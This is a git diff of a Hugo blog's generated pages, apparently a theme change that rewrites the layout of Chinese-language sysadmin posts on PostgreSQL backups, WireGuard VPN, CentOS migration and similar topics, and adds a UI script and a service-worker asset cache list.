    @@ -278,36 +452,129 @@ barman@barman:~$

    然後再做 barman check 就可以通過了

    在文件裡面很少提到這部份,筆記一下,用ansible 去跑的時候才不會忘記

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/pgbarman-in-ubuntu-1804-postgresql-10/index.html b/public/post/pgbarman-in-ubuntu-1804-postgresql-10/index.html index 1a97c930..9b9fa570 100644 --- a/public/post/pgbarman-in-ubuntu-1804-postgresql-10/index.html +++ b/public/post/pgbarman-in-ubuntu-1804-postgresql-10/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    很久以前就有看到這個用來備份postgresql 的 pgbarman

    +
    + + + + +
    +

    [筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04

    +
    +
    +
    +
    +

    很久以前就有看到這個用來備份postgresql 的 pgbarman

    https://www.pgbarman.org/

    @@ -136,8 +312,6 @@

    不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

    -

    -

    pgbarman 的備份有分兩種

    streaming && rsync/SSH

    @@ -442,36 +616,129 @@ Deleted backup 20190822T171355 (start time: Fri Aug 23 09:36:43 2019, elapsed ti

    不過呢,前面有提到,用streaming backup ,每一次備份都是完整備份,非常的佔用空間、時間、頻寬

    所以還是要來試試看用rsync/SSH 備份的機制

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/postgresql-backup-restore-using-zfs-snapshot/index.html b/public/post/postgresql-backup-restore-using-zfs-snapshot/index.html index f031a078..282c6259 100644 --- a/public/post/postgresql-backup-restore-using-zfs-snapshot/index.html +++ b/public/post/postgresql-backup-restore-using-zfs-snapshot/index.html @@ -1,141 +1,315 @@ - - - - - - - - - - - [筆記] 用zfs的snapshot 快照功能來做 postgresql 的備份還原 / Postgresql Backup Restore Using Zfs Snapshot | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 用zfs的snapshot 快照功能來做 postgresql 的備份還原 / Postgresql Backup Restore Using Zfs Snapshot + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    前面測試了用pgbarman / pgbackrest 來備份 postgresql

    +
    + + + + +
    +

    [筆記] 用zfs的snapshot 快照功能來做 postgresql 的備份還原 / Postgresql Backup Restore Using Zfs Snapshot

    +
    +
    +
    +
    +

    前面測試了用pgbarman / pgbackrest 來備份 postgresql

    這次改從system file level 來下手

    採用zfs 的快照來備份、還原postgresql 資料庫

    -

    -

    建立測試資料庫、TABLE、snapshot

    資料庫現況

    @@ -539,40 +713,133 @@ postgres@hqdc034:~$

    這次測試就先到此為止,後面再來測試zfs的 replication and send/recv

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/recommended-ulauncher-in-ubuntu-1804/index.html b/public/post/recommended-ulauncher-in-ubuntu-1804/index.html index 8fa3c81b..2a756e73 100644 --- a/public/post/recommended-ulauncher-in-ubuntu-1804/index.html +++ b/public/post/recommended-ulauncher-in-ubuntu-1804/index.html @@ -1,138 +1,312 @@ - - - - - - - - - - - [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    這兩天在找關於在 ubuntu 中做搜尋的軟體

    +
    -

    意外找到一個非常好用的工具 ulauncher

    + + + +
    +

    [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804

    +
    +
    +
    +
    +

    這兩天在找關於在 ubuntu 中做搜尋的軟體

    + +

    意外找到一個非常好用的工具 ulauncher

    官方網站: https://ulauncher.io/

    @@ -223,34 +397,127 @@

    根本殺手級套件啊!

    強烈推薦大家一定要裝起來玩玩看!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/remote-management-system-meshcentral/index.html b/public/post/remote-management-system-meshcentral/index.html index 57f2912b..13016f83 100644 --- a/public/post/remote-management-system-meshcentral/index.html +++ b/public/post/remote-management-system-meshcentral/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    +
    + + + + +
    +

    linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

    +
    +
    +
    +
    +

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    但是如果要過 internet ,就會碰到各種開port的問題

    @@ -138,8 +314,6 @@

    只要下載teamviewer被控端,開啟後報ID 給協助者就好了

    -

    -

    好景不常…ㄟ,好像也不能這麼說

    teamviewer 是一套商業授權軟體,要買license的

    @@ -242,45 +416,138 @@
    - +

    總結

    這麼好用的系統,還不快去裝一套起來!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/send-mail-to-notify-after-pxe-install/index.html b/public/post/send-mail-to-notify-after-pxe-install/index.html index f371fc5a..9185e78c 100644 --- a/public/post/send-mail-to-notify-after-pxe-install/index.html +++ b/public/post/send-mail-to-notify-after-pxe-install/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近有個任務,需要大量安裝client

    +
    + + + + +
    +

    [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

    +
    +
    +
    +
    +

    最近有個任務,需要大量安裝client

    想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

    @@ -144,8 +320,6 @@

    看似很簡單的一件事情,卻搞了我兩天….

    -

    -

    本來在 preseed 檔案中,就有 preseed/late_command 可以用

    但是測試了很多遍,才終於找到正確的語法

    @@ -216,38 +390,131 @@ echo "#!/bin/sh -e\nexit 0" > /etc/rc.local

    在開機之後,會先送出郵件通知,然後會把剛剛複製的備份覆蓋回來,變成原本的 rc.local

    這樣就不會有什麼問題了

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/index.html b/public/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/index.html index 3cb35efc..a0182aaf 100644 --- a/public/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/index.html +++ b/public/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

    +
    + + + + +
    +

    [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

    +
    +
    +
    +
    +

    之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

    然後用strongswan 來打 IPSEC site to site VPN

    @@ -148,8 +324,6 @@

    於是研究了一下,發現還真的很簡單!

    -

    -

    download deb for your edgerouter

    go check https://github.com/Lochnair/vyatta-wireguard first

    @@ -347,36 +521,129 @@ commit save ip route add 192.168.112.0/24 dev wg0 +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/smartd-failed-to-start-in-freenas/index.html b/public/post/smartd-failed-to-start-in-freenas/index.html index 87e232e7..92cd73a3 100644 --- a/public/post/smartd-failed-to-start-in-freenas/index.html +++ b/public/post/smartd-failed-to-start-in-freenas/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

    +
    + + + + +
    +

    [筆記] Freenas Smartd 啟動失敗 Smartd Failed to Start in Freenas

    +
    +
    +
    +
    +

    這兩天在弄兩台Freenas ,準備當作Proxmox 的Storage & Server Backup

    因為伺服器的限制,只能接六個SATA,我接了六個2T的硬碟做raid10

    @@ -136,8 +312,6 @@

    不過會一直出現Smartd failed to start 的錯誤訊息

    -

    -

    Freenas smartd failed to start

    翻了一下論壇,發現因為系統安裝在隨身碟上

    @@ -153,34 +327,127 @@

    disable SMART on USB FLASH

    接著再去啟動 SMART ,就不會有錯誤訊息了

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/synology-ds415-repair-cost/index.html b/public/post/synology-ds415-repair-cost/index.html index 5210ab4d..85f64086 100644 --- a/public/post/synology-ds415-repair-cost/index.html +++ b/public/post/synology-ds415-repair-cost/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用 | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用 + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    前幾天公司的一台 Synology DS 415+ 發生異常

    +
    + + + + +
    +

    [雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用

    +
    +
    +
    +
    +

    前幾天公司的一台 Synology DS 415+ 發生異常

    注意到的時候,四顆硬碟燈號都不斷的在閃爍

    @@ -144,8 +320,6 @@

    不過主管還是希望能夠先問群暉維修的費用多少

    -

    -

    登入 account.synology.com 之後,早上10:40 發了一張ticket

    請群暉提供RMA 流程

    @@ -199,38 +373,131 @@

    只是這將近十年下來的經驗…

    我以後如果不是用「國際」大廠的NAS,不然就是會自己搞 FREENAS 之類的opensource 系統了吧…

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/transfer-cent62-using-rsync/index.html b/public/post/transfer-cent62-using-rsync/index.html index 51ecee34..af103ec7 100644 --- a/public/post/transfer-cent62-using-rsync/index.html +++ b/public/post/transfer-cent62-using-rsync/index.html @@ -1,137 +1,312 @@ - - - - - - - - - - - [筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using rsync | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using rsync + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + -

    公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。

    + + +
    + +
    + + + + +
    +

    [筆記] 用rsync 移轉 centos 6.2的老機器 Transfer Cent6.2 using rsync

    +
    +
    +
    +
    +

    公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。

    + +

    看起來不難搞,事實上…..

    因為前人的功績,所以這台當初的磁碟分割有點「特別」!

    @@ -326,55 +501,50 @@
    • 卸除原本主機上的所有硬碟,並新增一顆512G 的SSD
    • -
    • 在新增的512G SSD上,安裝一樣的作業系統(CentOS 6.2)
    • -
    - -
      這邊也有地雷...不知道為什麼,CentOS 6.2 的ISO,我用easy2boot 作到隨身碟上
    -  安裝過程出現CDROM not FOUND的錯誤。好,那我用光碟片開機總可以吧
    -  BUT (又是你啊,BUT兄 )
    -  在安裝時一樣出現CDROM not FOUND , WTF !!
    -  最後是透過用網路安裝的方式
    -  指定URL到 http://vault.centos.org/6.2/os/x86_64 來進行安裝
    -  而且一開始因為6.2裝不起來,所以我改用centos 6.10 的ISO作到隨身碟進行安裝
    -  這樣子安裝就可以,可是最後從原本硬碟把資料抄回來後,會不能開機
    -  會有 /bin/awk too many links 類似這樣的錯誤訊息
    -  總之,還是要想辦法裝回一樣的作業系統
    -
    -
    - -
      -
    • 系統安裝完成,關機,接上原本主機的一顆硬碟,準備把資料抄回來
    • -
    - -
      如果會怕,可以用ubuntu 18.04 live DVD 開機,然後先安裝 mdadm
    -  接著執行 mdadm --assemble --scan 偵測原本的RAID
    -  這時候雖然會抓到RAID,但是因為上面是LVM 所以沒辦法直接掛進來
    -  需要再執行一次 vgchange -ay
    -  原本的lvm 磁區,就會出現在 /dev/mapper 裡面
    -  再執行 mount /dev/mapper/sysvg-usr /mnt 把目錄掛進來
    -
    - -
      -
    • 分次掛載原本的目錄,然後sync 回SSD
    • -
    -
      我是直接在系統內操作,沒有透過liveDVD
    -  先備份 /etc , /usr 
    -  然後就看原本LVM切了幾個,每一個都mount 進來,然後把資料用rsync 抄回對應的路徑底下就好
    -  抄完之後,把備份出來的 /etc.bak/fstab 複製回 /etc
    -  這樣才能正常開機
    +
  • 在新增的512G SSD上,安裝一樣的作業系統(CentOS 6.2)

    + +
    這邊也有地雷...不知道為什麼,CentOS 6.2 的ISO,我用easy2boot 作到隨身碟上
    +安裝過程出現CDROM not FOUND的錯誤。好,那我用光碟片開機總可以吧
    +BUT (又是你啊,BUT兄 )
    +在安裝時一樣出現CDROM not FOUND , WTF !!
    +最後是透過用網路安裝的方式
    +指定URL到 http://vault.centos.org/6.2/os/x86_64 來進行安裝
    +而且一開始因為6.2裝不起來,所以我改用centos 6.10 的ISO作到隨身碟進行安裝
    +這樣子安裝就可以,可是最後從原本硬碟把資料抄回來後,會不能開機
    +會有 /bin/awk too many links 類似這樣的錯誤訊息
    +總之,還是要想辦法裝回一樣的作業系統
    +
    +
  • + +
  • 系統安裝完成,關機,接上原本主機的一顆硬碟,準備把資料抄回來

    + +
    如果會怕,可以用ubuntu 18.04 live DVD 開機,然後先安裝 mdadm
    +接著執行 mdadm --assemble --scan 偵測原本的RAID
    +這時候雖然會抓到RAID,但是因為上面是LVM 所以沒辦法直接掛進來
    +需要再執行一次 vgchange -ay
    +原本的lvm 磁區,就會出現在 /dev/mapper 裡面
    +再執行 mount /dev/mapper/sysvg-usr /mnt 把目錄掛進來
    +
  • + +
  • 分次掛載原本的目錄,然後sync 回SSD

    + +
    我是直接在系統內操作,沒有透過liveDVD
    +先備份 /etc , /usr 
    +然後就看原本LVM切了幾個,每一個都mount 進來,然後把資料用rsync 抄回對應的路徑底下就好
    +抄完之後,把備份出來的 /etc.bak/fstab 複製回 /etc
    +這樣才能正常開機
       
    -
    +
  • -
      -
    • 重開機
    • -
    +
  • 重開機

    -
      正常的話,這時候重開機應該是可以進入系統
    -  接著就是請同事確認環境、指令是否可以執行
    -  然後修改一些像是目錄權限, uid,gid 等等的問題
    -  基本上系統這樣就轉完了
    -
    +
    正常的話,這時候重開機應該是可以進入系統
    +接著就是請同事確認環境、指令是否可以執行
    +然後修改一些像是目錄權限, uid,gid 等等的問題
    +基本上系統這樣就轉完了
    +
  • +
    @@ -516,36 +686,129 @@ df -h

    空間順利放大了,打完收工!

    我想以後如果又碰到一樣的狀況,大概就會用最後這個方式處理吧!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/transfer-file-content-using-xclip-in-terminal/index.html b/public/post/transfer-file-content-using-xclip-in-terminal/index.html index bb0db589..27aa0363 100644 --- a/public/post/transfer-file-content-using-xclip-in-terminal/index.html +++ b/public/post/transfer-file-content-using-xclip-in-terminal/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - Transfer File Content Using Xclip in Terminal | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Transfer File Content Using Xclip in Terminal + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

    +
    + + + + +
    +

    Transfer File Content Using Xclip in Terminal

    +
    +
    +
    +
    +

    工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

    以前都是傻傻的用 scp 傳檔案

    @@ -136,8 +312,6 @@

    早上研究了一下,順便做個筆記。

    -

    -

    1. ssh 要加上 -X

    不然會出現

    @@ -202,34 +376,127 @@ Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
    cat copy_neonexus.csv |xclip -selection clipboard
     
    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/ubuntu-1804-install-root-on-raid/index.html b/public/post/ubuntu-1804-install-root-on-raid/index.html index 5f03aeb3..e3521613 100644 --- a/public/post/ubuntu-1804-install-root-on-raid/index.html +++ b/public/post/ubuntu-1804-install-root-on-raid/index.html @@ -1,141 +1,315 @@ - - - - - - - - - - - Ubuntu 1804 Install Root on Raid | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + Ubuntu 1804 Install Root on Raid + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    +
    + + + + +
    +

    Ubuntu 1804 Install Root on Raid

    +
    +
    +
    +
    +

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

    結果在安裝過程中,做raid碰到一些問題,來紀錄一下

    -

    -

    要先說明 Ubuntu 提供的ISO類型,這會牽涉到後續裝raid

    底下這是ubuntu 網頁上的ISO列表

    @@ -263,36 +437,129 @@

    所以,如果有打算要做software raid來安裝ubuntu 作業系統的,一開始就要選對ISO

    才不會白忙那麼多時間啊!

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/post/weird-client-server-connection/index.html b/public/post/weird-client-server-connection/index.html index 5b8a1245..833d8665 100644 --- a/public/post/weird-client-server-connection/index.html +++ b/public/post/weird-client-server-connection/index.html @@ -1,134 +1,310 @@ - - - - - - - - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? | MCの飄狂山莊㊣ - - - - - - - - - - - + + + + + + + + [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + + + + + + + +
    -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    +
    + + + + +
    +

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    +
    +
    +
    +
    +

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    @@ -142,8 +318,6 @@

    問題就發生在這台 Build Server 上…

    -

    -

    有陣子花了點時間去檢查各個分公司的網路環境,確保每一台Build Server都能夠連接Internet

    然後找了一個離總部最近的據點,把這些電腦連接Internet 的方式改為用 proxy 來控制

    @@ -232,36 +406,129 @@ acl CONNECT method CONNECT

    暫時先保留這個作法,等到下次再發生這狀況

    再來找老闆看這情形,然後來討論要不要換掉各分公司的VM Host…

    +
    +
    + + - + +
    - +
    + + Eric Chang + + + Written by:
    +
    + + +

    塵世裡一個迷途小書僮

    + + + - -
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + +
    +
    + +
    +
    comments powered by Disqus - - + -
    - - + +
    + + + - +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - + diff --git a/public/scripts/index.min.js b/public/scripts/index.min.js new file mode 100644 index 00000000..6da533ca --- /dev/null +++ b/public/scripts/index.min.js @@ -0,0 +1,3 @@ +var html=document.querySelector('html');var body=document.querySelector('body');var menuToggle=document.querySelector('.menu-toggle');var menuIcon=document.querySelector('.icon-menu');var siteMenu=document.querySelector('.site-menu');var socialMenu=document.querySelector('.social-menu');var toTopBtn=document.querySelector('.to-top');menuToggle&&menuToggle.addEventListener('click',function(){siteMenu.classList.toggle('collapsed');socialMenu.classList.toggle('collapsed');menuIcon.classList.toggle('icon-menu');menuIcon.classList.toggle('icon-close');var expandStatus=menuToggle.getAttribute('aria-expanded');if(expandStatus==='false')menuToggle.setAttribute('aria-expanded','true');else menuToggle.setAttribute('aria-expanded','false');});var zoomables=document.querySelectorAll('.zoomable > img, img.zoomable');zoomables.length&&mediumZoom(zoomables);function randomErrorEmoji(){var error=document.getElementsByClassName('error-emoji')[0];var emojiArray=['\\(o_o)/','(o^^)o','(˚Δ˚)b','(^-^*)','(≥o≤)','(^_^)b','(·_·)',"(='X'=)",'(>_<)','(;-;)','\\(^Д^)/',];if(error){var errorEmoji=emojiArray[Math.floor(Math.random()*emojiArray.length)];error.appendChild(document.createTextNode(errorEmoji));}};randomErrorEmoji();var lastPosition=0;var ticking=false;window.addEventListener('scroll',function(){lastPosition=body.scrollTop===0?html.scrollTop:body.scrollTop;if(!ticking){window.requestAnimationFrame(function(){if(lastPosition>=600){toTopBtn.classList.remove('is-hide');}else{toTopBtn.classList.add('is-hide');} +ticking=false;});} +ticking=true;});var scroll=new SmoothScroll('a[href*="#"]');toTopBtn&&toTopBtn.addEventListener('click',function(){scroll.animateScroll(0);}); \ No newline at end of file diff --git a/public/service-worker.js b/public/service-worker.js new file mode 100644 index 00000000..c336e55c --- /dev/null +++ b/public/service-worker.js @@ -0,0 +1,102 @@ +var cacheName = 'hugo-nuo-v5'; +var filesToCache = [ + '404.html', + 'favicon.ico', + 'manifest.json', + 'icons/icon-16x16.png', + 'icons/icon-32x32.png', + 'icons/icon-128x128.png', + 'icons/icon-144x144.png', + 'icons/icon-152x152.png', + 'icons/icon-192x192.png', + 'icons/icon-256x256.png', + 'icons/icon-512x512.png', + 'images/avatar.png', + 'images/grey-prism.svg', + 'images/qrcode.jpg', + 'styles/main-rendered.min.css', + + 'scripts/index.min.js', + + // Google fonts + 'https://fonts.googleapis.com/css?family=Lobster', + 'https://fonts.gstatic.com/s/lobster/v20/neILzCirqoswsqX9zoKmM4MwWJU.woff2', + + + // Iconfont + 'https://at.alicdn.com/t/font_174169_qmgvd10zwbf.woff', + + // smooth-scroll + 'https://cdn.jsdelivr.net/npm/smooth-scroll@15.0.0/dist/smooth-scroll.min.js', + + // medium-zoom + 'https://cdn.jsdelivr.net/npm/medium-zoom@1.0.2/dist/medium-zoom.min.js', + + // Video.js + 'https://cdn.jsdelivr.net/npm/video.js@7.3.0/dist/video-js.min.css', + 'https://cdn.jsdelivr.net/npm/video.js@7.3.0/dist/video.min.js', + + // MathJax + 